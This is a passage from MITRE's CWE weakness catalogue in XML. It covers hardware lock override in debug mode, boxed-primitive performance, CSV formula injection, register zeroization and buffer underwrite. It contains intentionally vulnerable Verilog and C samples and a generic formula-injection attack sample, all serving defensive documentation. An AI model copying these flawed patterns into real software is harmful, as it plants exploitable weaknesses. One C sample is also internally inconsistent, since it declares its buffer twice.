					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Maintenance_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Description, Detection_Factors, Maintenance_Notes, Name, Observed_Examples, Potential_Mitigations, References, Relationships, Weakness_Ordinalities</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Contribution Type="Feedback">
				  <Contribution_Name>Narasimha Kumar V Mangipudi</Contribution_Name>
				  <Contribution_Organization>Lattice Semiconductor</Contribution_Organization>
				  <Contribution_Date>2021-10-20</Contribution_Date>
				  <Contribution_Comment>reviewed content changes</Contribution_Comment>
				</Contribution>
			<Previous_Entry_Name Date="2021-10-28">Improper Hardware Lock Protection for Security Sensitive Controls</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="1234" Name="Hardware Internal or Debug Modes Allow Override of Locks" Abstraction="Base" Structure="Simple" Status="Incomplete">
     <Description>System configuration protection may be bypassed during debug mode.</Description>
     <Extended_Description>
     	<xhtml:p>Device configuration controls are commonly programmed after a device power reset by a trusted firmware or software module (e.g., BIOS/bootloader) and then locked from any further modification. This is commonly implemented using a trusted lock bit, which when set, disables writes to a protected set of registers or address regions. The lock protection is intended to prevent modification of certain system configuration (e.g., memory/memory protection unit configuration). If debug features supported by hardware or internal modes/system states are supported in the hardware design, modification of the lock protection may be allowed allowing access and modification of configuration information.</xhtml:p>
		</Extended_Description>
			<Related_Weaknesses>
				<Related_Weakness Nature="ChildOf" CWE_ID="667" View_ID="1000" Ordinal="Primary"/>
			</Related_Weaknesses>
     <Applicable_Platforms>
      <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
		  <Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
      <Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
      <Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
    </Applicable_Platforms>
     <Modes_Of_Introduction>
      <Introduction>
        <Phase>Architecture and Design</Phase>
     </Introduction>
			<Introduction>
        <Phase>Implementation</Phase>
     </Introduction>
    </Modes_Of_Introduction>
     <Common_Consequences>
      <Consequence>
        <Scope>Access Control</Scope>
        <Impact>Bypass Protection Mechanism</Impact>
        <Likelihood>High</Likelihood>
        <Note>Bypass of lock bit allows access and modification of system configuration even when the lock bit is set.</Note>
     </Consequence>
    </Common_Consequences>
     <Potential_Mitigations>
      <Mitigation>
       <Phase>Architecture and Design</Phase>
       <Phase>Implementation</Phase>
       <Phase>Testing</Phase>
        <Description>
         <xhtml:ul>
          <xhtml:li>Security Lock bit protections should be reviewed for any bypass/override modes supported.</xhtml:li>
          <xhtml:li>Any supported override modes either should be removed or protected using authenticated debug modes.</xhtml:li>
          <xhtml:li>Security lock programming flow and lock properties should be tested in pre-silicon and post-silicon testing.</xhtml:li>
        </xhtml:ul>
       </Description>
        <Effectiveness>High</Effectiveness>
     </Mitigation>
    </Potential_Mitigations>
     <Demonstrative_Examples>
      <Demonstrative_Example>
       <Intro_Text>
         For example, consider the example Locked_override_register example. This register module supports a lock mode that blocks any writes after lock is set to 1.
        <xhtml:br/>
         However, it also allows override of the lock protection when scan_mode or debug_unlocked modes are active.
       </Intro_Text>
        <Example_Code Nature="Bad" Language="Verilog">
          module Locked_register_example<xhtml:br/>
          (<xhtml:br/>
		  input [15:0] Data_in,<xhtml:br/>
		  input Clk,<xhtml:br/>
		  input resetn,<xhtml:br/>
		  input write,<xhtml:br/>
		  input Lock,<xhtml:br/>
		  input scan_mode,<xhtml:br/>
		  input debug_unlocked,<xhtml:br/>
		  output reg [15:0] Data_out<xhtml:br/>
		  );<xhtml:br/>
          <xhtml:br/>
          reg lock_status;<xhtml:br/>
          <xhtml:br/>
          always @(posedge Clk or negedge resetn)<xhtml:br/>
		  <xhtml:div style="margin-left:1em;">
			if (~resetn) // Register is reset resetn<xhtml:br/>
			begin<xhtml:br/>
			<xhtml:div style="margin-left:1em;">
			  lock_status &lt;= 1'b0;<xhtml:br/>
			</xhtml:div>
			end<xhtml:br/>
			else if (Lock)<xhtml:br/>
			begin<xhtml:br/>
			<xhtml:div style="margin-left:1em;">
			  lock_status &lt;= 1'b1;<xhtml:br/>
			</xhtml:div>
			end<xhtml:br/>
			else if (~Lock)<xhtml:br/>
			begin<xhtml:br/>
			<xhtml:div style="margin-left:1em;">
			  lock_status &lt;= lock_status<xhtml:br/>
			</xhtml:div>
			end<xhtml:br/>
		  </xhtml:div>
		  always @(posedge Clk or negedge resetn)<xhtml:br/>
		  <xhtml:div style="margin-left:1em;">
			if (~resetn) // Register is reset resetn<xhtml:br/>
			begin<xhtml:br/>
			<xhtml:div style="margin-left:1em;">
			  Data_out &lt;= 16'h0000;<xhtml:br/>
			</xhtml:div>
			end<xhtml:br/>
			else if (write &amp; (~lock_status | scan_mode | debug_unlocked) ) // Register protected by Lock bit input, overrides supported for scan_mode &amp; debug_unlocked<xhtml:br/>
			begin<xhtml:br/>
			<xhtml:div style="margin-left:1em;">
			  Data_out &lt;= Data_in;<xhtml:br/>
			</xhtml:div>
			end<xhtml:br/>
			else if (~write)<xhtml:br/>
			begin<xhtml:br/>
			<xhtml:div style="margin-left:1em;">
			  Data_out &lt;= Data_out;<xhtml:br/>
			</xhtml:div>
			end<xhtml:br/>
		  </xhtml:div>
		  endmodule<xhtml:br/>
		</Example_Code>
        <Body_Text>If either the scan_mode or the debug_unlocked modes can be triggered by software, then the lock protection may be bypassed.</Body_Text>
        <Example_Code Nature="Good">
          Either remove the debug and scan mode overrides or protect enabling of these modes so that only trusted and authorized users may enable these modes.
       </Example_Code>
     </Demonstrative_Example>
    </Demonstrative_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="176"/>
         </Related_Attack_Patterns>
         <Content_History>
      <Submission>
        <Submission_Name>Arun Kanuparthi, Hareesh Khattri, Parbati Kumar Manna, Narasimha Kumar V Mangipudi</Submission_Name>
        <Submission_Organization>Intel Corporation</Submission_Organization>
				<Submission_Date>2020-01-15</Submission_Date>
     </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Common_Consequences, Demonstrative_Examples, Description, Modes_of_Introduction, Potential_Mitigations, Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
    </Content_History>
  </Weakness>
      <Weakness ID="1235" Name="Incorrect Use of Autoboxing and Unboxing for Performance Critical Operations" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The code uses boxed primitives, which may introduce inefficiencies into performance-critical operations.</Description>
         <Extended_Description>
            <xhtml:p>Languages such as Java and C# support automatic conversion through their respective compilers from primitive types into objects of the corresponding wrapper classes, and vice versa. For example, a compiler might convert an int to Integer (called autoboxing) or an Integer to int (called unboxing). This eliminates forcing the programmer to perform these conversions manually, which makes the code cleaner.</xhtml:p>
	    <xhtml:p>However, this feature comes at a cost of performance and can lead to resource exhaustion and impact availability when used with generic collections. Therefore, they should not be used for scientific computing or other performance critical operations. They are only suited to support "impedance mismatch" between reference types and primitives.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="400" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Name="Java" Prevalence="Undetermined"/>
			<Language Name="C#" Prevalence="Undetermined"/>
			<Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
			<Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
			<Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
	       <Note>The programmer may use boxed primitives when not strictly necessary.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Availability</Scope>
               <Impact>DoS: Resource Consumption (CPU)</Impact>
			   <Impact>DoS: Resource Consumption (Memory)</Impact>
			   <Impact>DoS: Resource Consumption (Other)</Impact>
			   <Impact>Reduce Performance</Impact>
			   <Likelihood>Low</Likelihood>
               <Note>Incorrect autoboxing/unboxing would result in reduced performance, which sometimes can lead to resource consumption issues.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Use of boxed primitives should be limited to certain situations such as when calling methods with typed parameters.  Examine the use of boxed primitives prior to use. Use SparseArrays or ArrayMap instead of HashMap to avoid performance overhead.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>Java has a boxed primitive for each primitive type. A long can be represented with the boxed primitive Long. Issues arise where boxed primitives are used when not strictly necessary.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
				<xhtml:div>Long count = 0L;
					<xhtml:br/>
					for (long i = 0; i &lt; Integer.MAX_VALUE; i++) {
					<xhtml:div style="margin-left:1em;">
						count += i;
						<xhtml:br/>
					</xhtml:div>
					}
				</xhtml:div>
               </Example_Code>
               <Body_Text>In the above loop, we see that the count variable is declared as a boxed primitive. This causes autoboxing on the line that increments. This causes execution to be magnitudes less performant (time and possibly space) than if the "long" primitive was used to declare the count variable, which can impact availability of a resource.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>This code uses primitive long which fixes the issue.</Intro_Text>
               <Example_Code Nature="Good" Language="Java">
				<xhtml:div>long count = 0L;
					<xhtml:br/>
					for (long i = 0; i &lt; Integer.MAX_VALUE; i++) {
					<xhtml:div style="margin-left:1em;">
						count += i;
						<xhtml:br/>
					</xhtml:div>
					}
				</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="SEI CERT Oracle Coding Standard for Java">
               <Entry_ID>EXP04-J</Entry_ID>
               <Entry_Name>Do not pass arguments to certain Java Collections Framework methods that are a different type than the collection parameter type</Entry_Name>
            </Taxonomy_Mapping>
	    <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	      <Entry_ID>Part 4-1</Entry_ID>
	      <Entry_Name>Req SI-2</Entry_Name>
	    </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-1051"/>
			<Reference External_Reference_ID="REF-1052"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>Joe Harvey</Submission_Name>
			   <Submission_Date>2019-10-14</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
            <Contribution Type="Content">
               <Contribution_Name>"Mapping CWE to 62443" Sub-Working Group</Contribution_Name>
               <Contribution_Organization>CWE-CAPEC ICS/OT SIG</Contribution_Organization>
               <Contribution_Date>2023-04-25</Contribution_Date>
               <Contribution_Comment>Suggested mappings to ISA/IEC 62443.</Contribution_Comment>
            </Contribution>
         </Content_History>
      </Weakness>
      <Weakness ID="1236" Name="Improper Neutralization of Formula Elements in a CSV File" Abstraction="Base" Structure="Simple" Status="Incomplete">
            <Description>The product saves user-provided information into a Comma-Separated Value (CSV) file, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as a command when the file is opened by a spreadsheet product.</Description>
            <Extended_Description>User-provided data is often saved to traditional databases.  This data can be exported to a CSV file, which allows users to read the data using spreadsheet software such as Excel, Numbers, or Calc.  This software interprets entries beginning with '=' as formulas, which are then executed by the spreadsheet software.  The software's formula language often allows methods to access hyperlinks or the local command line, and frequently allows enough characters to invoke an entire script. Attackers can populate data fields which, when saved to a CSV file, may attempt information exfiltration or other malicious activity when automatically executed by the spreadsheet software.</Extended_Description>
			<Related_Weaknesses>
				<Related_Weakness Nature="ChildOf" CWE_ID="74" View_ID="1000" Ordinal="Primary"/>
				<Related_Weakness Nature="ChildOf" CWE_ID="74" View_ID="1003" Ordinal="Primary"/>
			</Related_Weaknesses>
            <Applicable_Platforms>
                <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
                <Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
                <Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
                <Technology Name="Other" Prevalence="Undetermined"/>
            </Applicable_Platforms>
			<Alternate_Terms>
				<Alternate_Term>
				  <Term>CSV Injection</Term>
				</Alternate_Term>
				<Alternate_Term>
				  <Term>Formula Injection</Term>
				</Alternate_Term>
				<Alternate_Term>
				  <Term>Excel Macro Injection</Term>
				</Alternate_Term>
			</Alternate_Terms>
            <Modes_Of_Introduction>
                <Introduction>
                    <Phase>Implementation</Phase>
                    <Note>The weakness is in the implementation of a software's CSV export feature, in particular how it formats formula entries as the output gets flattened into a text file.</Note>
                </Introduction>
            </Modes_Of_Introduction>
            <Common_Consequences>
                <Consequence>
                    <Scope>Confidentiality</Scope>
                    <Impact>Read Application Data</Impact>
                    <Impact>Execute Unauthorized Code or Commands</Impact>
                    <Likelihood>Low</Likelihood>
                    <Note>Current versions of Excel warn users of untrusted content.</Note>
                </Consequence>
            </Common_Consequences>
            <Potential_Mitigations>
                <Mitigation>
                    <Phase>Implementation</Phase>
                    <Description>When generating CSV output, ensure that formula-sensitive metacharacters are effectively escaped or removed from all data before storage in the resultant CSV.  Risky characters include '=' (equal), '+' (plus), '-' (minus), and '@' (at).</Description>
		    <Effectiveness>Moderate</Effectiveness>
		    <Effectiveness_Notes>Unfortunately, there is no perfect solution, since different spreadsheet products act differently.</Effectiveness_Notes>
                </Mitigation>
                <Mitigation>
                    <Phase>Implementation</Phase>
                    <Description>If a field starts with a formula character, prepend it with a ' (single apostrophe), which prevents Excel from executing the formula.</Description>
		    <Effectiveness>Moderate</Effectiveness>
		    <Effectiveness_Notes>It is not clear how effective this mitigation is with other spreadsheet software.</Effectiveness_Notes>
                </Mitigation>
                <Mitigation>
                    <Phase>Architecture and Design</Phase>
                    <Description>Certain implementations of spreadsheet software might disallow formulas from executing if the file is untrusted, or if the file is not authored by the current user.</Description>
		    <Effectiveness>Limited</Effectiveness>
		    <Effectiveness_Notes>This mitigation has limited effectiveness because it often depends on end users opening spreadsheet software safely.</Effectiveness_Notes>
                </Mitigation>
            </Potential_Mitigations>
            <Demonstrative_Examples>
                <Demonstrative_Example>
                    <Intro_Text>Hyperlinks or other commands can be executed when a cell begins with the formula identifier, '='</Intro_Text>
                    <Example_Code Nature="Attack" Language="Other">
                        <xhtml:p>=HYPERLINK(link_location, [friendly_name])</xhtml:p>
                    </Example_Code>
                    <Body_Text>Stripping the leading equals sign, or simply not executing formulas from untrusted sources, impedes malicious activity.</Body_Text>
                    <Example_Code Nature="Good">
                        <xhtml:p>HYPERLINK(link_location, [friendly_name])</xhtml:p>
                    </Example_Code>
                </Demonstrative_Example>
            </Demonstrative_Examples>
            <Observed_Examples>
                <Observed_Example>
                    <Reference>CVE-2019-12134</Reference>
                    <Description>Low privileged user can trigger CSV injection through a contact form field value</Description>
                    <Link>https://www.cve.org/CVERecord?id=CVE-2019-12134</Link>
                </Observed_Example>
                <Observed_Example>
                    <Reference>CVE-2019-4521</Reference>
                    <Description>Cloud management product allows arbitrary command execution via CSV injection</Description>
                    <Link>https://www.cve.org/CVERecord?id=CVE-2019-4521</Link>
                </Observed_Example>
                <Observed_Example>
                    <Reference>CVE-2019-17661</Reference>
                    <Description>CSV injection in content management system via formula code in a first or last name</Description>
                    <Link>https://www.cve.org/CVERecord?id=CVE-2019-17661</Link>
                </Observed_Example>
            </Observed_Examples>
         <References>
           <Reference External_Reference_ID="REF-21"/>
           <Reference External_Reference_ID="REF-22"/>
           <Reference External_Reference_ID="REF-23"/>
           <Reference External_Reference_ID="REF-24"/>
         </References>
            <Content_History>
                <Submission>
                    <Submission_Name>CWE Content Team</Submission_Name>
                    <Submission_Organization>MITRE</Submission_Organization>
                    <Submission_Date>2019-11-21</Submission_Date>
                </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Description, Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
            </Content_History>
        </Weakness>
      <Weakness ID="1239" Name="Improper Zeroization of Hardware Register" Abstraction="Variant" Structure="Simple" Status="Draft">
            <Description>The hardware product does not properly clear sensitive information from built-in registers when the user of the hardware block changes.</Description>
            <Extended_Description>Hardware logic operates on data stored in registers local to the hardware block. Most hardware IPs, including cryptographic accelerators, rely on registers to buffer I/O, store intermediate values, and interface with software. The result of this is that sensitive information, such as passwords or encryption keys, can exist in locations not transparent to the user of the hardware logic. When a different entity obtains access to the IP due to a change in operating mode or conditions, the new entity can extract information belonging to the previous user if no mechanisms are in place to clear register contents. It is important to clear information stored in the hardware if a physical attack on the product is detected, or if the user of the hardware block changes. The process of clearing register contents in a hardware IP is referred to as zeroization in standards for cryptographic hardware modules such as FIPS-140-2 [REF-267].</Extended_Description>
            <Related_Weaknesses>
              <Related_Weakness Nature="ChildOf" CWE_ID="226" View_ID="1000" Ordinal="Primary"/>
              <Related_Weakness Nature="ChildOf" CWE_ID="226" View_ID="1194" Ordinal="Primary"/>
            </Related_Weaknesses>
            <Applicable_Platforms>
                <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
                <Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
                <Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
                <Technology Class="System on Chip" Prevalence="Undetermined"/>
            </Applicable_Platforms>
			<Modes_Of_Introduction>
				<Introduction>
					<Phase>Architecture and Design</Phase>
					<Note>Lack of hardware mechanisms to zeroize or clear registers in the design or specification.</Note>
				</Introduction>
				<Introduction>
					<Phase>Implementation</Phase>
					<Note>Mechanisms to zeroize and clear registers are in the design but implemented incorrectly.</Note>
				</Introduction>
				<Introduction>
					<Phase>Operation</Phase>
					<Note>Hardware-provided zeroization mechanisms are not used appropriately by the IP user (ex. firmware), or data remanence issues are not taken into account.</Note>
				</Introduction>
			</Modes_Of_Introduction>
			<Common_Consequences>
				<Consequence>
					<Scope>Confidentiality</Scope>
					<Impact>Varies by Context</Impact>
					<Note>The consequences will depend on the information disclosed due to the vulnerability.</Note>
				</Consequence>
			</Common_Consequences>
			<Potential_Mitigations>
				<Mitigation>
					<Phase>Architecture and Design</Phase>
					<Description>Every register potentially containing sensitive information must have a policy specifying how and when information is cleared, in addition to clarifying if it is the responsibility of the hardware logic or IP user to initiate the zeroization procedure at the appropriate time.</Description>
					<Effectiveness_Notes>Unfortunately, data disclosure can occur even after information has been overwritten/zeroized from the digital perspective. Physical characteristics of the memory can reveal the history of previously written data.  For example, if the same value is written repeatedly to a memory location, the corresponding memory cells can become physically altered to a degree that even if the original data is erased it can still be recovered through physical characterization of the memory cells [REF-1055].</Effectiveness_Notes>
				</Mitigation>
			</Potential_Mitigations>
			<Demonstrative_Examples>
				<Demonstrative_Example>
					<Intro_Text>Suppose a hardware IP for implementing an encryption routine works as expected, but it leaves the intermediate results in some registers that can be accessed. Exactly why this access happens is immaterial - it might be unintentional or intentional, where the designer wanted a "quick fix" for something.  </Intro_Text>
				</Demonstrative_Example>
			</Demonstrative_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="150"/>
            <Related_Attack_Pattern CAPEC_ID="204"/>
            <Related_Attack_Pattern CAPEC_ID="37"/>
            <Related_Attack_Pattern CAPEC_ID="545"/>
         </Related_Attack_Patterns>
         <References>
				<Reference External_Reference_ID="REF-267"/>
				<Reference External_Reference_ID="REF-1055"/>
			</References>
            <Content_History>
                <Submission>
					<Submission_Name>Nicole Fern</Submission_Name>
					<Submission_Organization>Tortuga Logic</Submission_Organization>
					<Submission_Date>2020-02-08</Submission_Date>
                </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
            </Content_History>
        </Weakness>
      <Weakness ID="124" Name="Buffer Underwrite ('Buffer Underflow')" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product writes to a buffer using an index or pointer that references a memory location prior to the beginning of the buffer.</Description>
         <Extended_Description>This typically occurs when a pointer or its index is decremented to a position before the buffer, when pointer arithmetic results in a position before the beginning of the valid memory location, or when a negative index is used.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="786" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="787" View_ID="1000"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Name="C" Prevalence="Undetermined"/>
            <Language Name="C++" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Alternate_Terms>
            <Alternate_Term>
               <Term>buffer underrun</Term>
               <Description>Some prominent vendors and researchers use the term "buffer underrun". "Buffer underflow" is more commonly used, although both terms are also sometimes used to describe a buffer under-read (CWE-127).</Description>
            </Alternate_Term>
         </Alternate_Terms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>Medium</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Availability</Scope>
               <Impact>Modify Memory</Impact>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
               <Note>Out of bounds memory access will very likely result in the corruption of relevant memory, and perhaps instructions, possibly leading to a crash.</Note>
            </Consequence>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Confidentiality</Scope>
               <Scope>Availability</Scope>
               <Scope>Access Control</Scope>
               <Scope>Other</Scope>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Impact>Modify Memory</Impact>
               <Impact>Bypass Protection Mechanism</Impact>
               <Impact>Other</Impact>
               <Note>If the corrupted memory can be effectively controlled, it may be possible to execute arbitrary code. If the corrupted memory is data rather than instructions, the system will continue to function with improper changes, possibly in violation of an implicit or explicit policy. The consequences would only be limited by how the affected data is used, such as an adjacent memory location that is used to specify whether the user has special privileges.</Note>
            </Consequence>
            <Consequence>
               <Scope>Access Control</Scope>
               <Scope>Other</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
               <Impact>Other</Impact>
               <Note>When the consequence is arbitrary code execution, this can often be used to subvert any other security service.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Requirements</Phase>
               <Description>Choose a language that is not susceptible to these issues.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>All calculated values that are used as index or for pointer arithmetic should be validated to ensure that they are within an expected range.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-87">
               <Intro_Text>In the following C/C++ example, a utility function is used to trim trailing whitespace from a character string. The function copies the input string to a local character string and uses a while statement to remove the trailing whitespace by moving backward through the string and overwriting whitespace with a NUL character.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>char* trimTrailingWhitespace(char *strMessage, int length) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>char *retMessage;<xhtml:br/>char *message = malloc(sizeof(char)*(length+1));<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// copy input string to a temporary string</xhtml:i>
                           <xhtml:br/>char message[length+1];<xhtml:br/>int index;<xhtml:br/>for (index = 0; index &lt; length; index++) {<xhtml:div style="margin-left:1em;">message[index] = strMessage[index];</xhtml:div>}<xhtml:br/>message[index] = '\0';<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// trim trailing whitespace</xhtml:i>
                           <xhtml:br/>int len = index-1;<xhtml:br/>while (isspace(message[len])) {<xhtml:div style="margin-left:1em;">message[len] = '\0';<xhtml:br/>len--;</xhtml:div>}<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// return string without trailing whitespace</xhtml:i>
                           <xhtml:br/>retMessage = message;<xhtml:br/>return retMessage;</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>However, this function can cause a buffer underwrite if the input character string contains all whitespace. On some systems the while statement will move backwards past the beginning of a character string and will call the isspace() function on an address outside of the bounds of the local buffer.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-88">
               <Intro_Text>The following is an example of code that may result in a buffer underwrite, if find() returns a negative value to indicate that ch is not found in srcBuf:</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>int main() {<xhtml:div style="margin-left:1em;">...<xhtml:br/>strncpy(destBuf, &amp;srcBuf[find(srcBuf, ch)], 1024);<xhtml:br/>...</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>If the index to srcBuf is somehow under user control, this is an arbitrary write-what-where condition.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2021-24018</Reference>
               <Description>buffer underwrite in firmware verification routine allows code execution via a crafted firmware image</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2021-24018</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-2227</Reference>
               <Description>Unchecked length of SSLv2 challenge value leads to buffer underflow.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-2227</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-4580</Reference>
               <Description>Buffer underflow from a small size value with a large buffer (length parameter inconsistency, CWE-130)</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-4580</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-1584</Reference>
               <Description>Buffer underflow from an all-whitespace string, which causes a counter to be decremented before the buffer while looking for a non-whitespace character.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-1584</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-0886</Reference>
               <Description>Buffer underflow resultant from encoded data that triggers an integer overflow.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-0886</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-6171</Reference>
               <Description>Product sets an incorrect buffer size limit, leading to "off-by-two" buffer underflow.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-6171</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-4024</Reference>
               <Description>Negative value is used in a memcpy() operation, leading to buffer underflow.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-4024</Link>
            </Observed_Example>
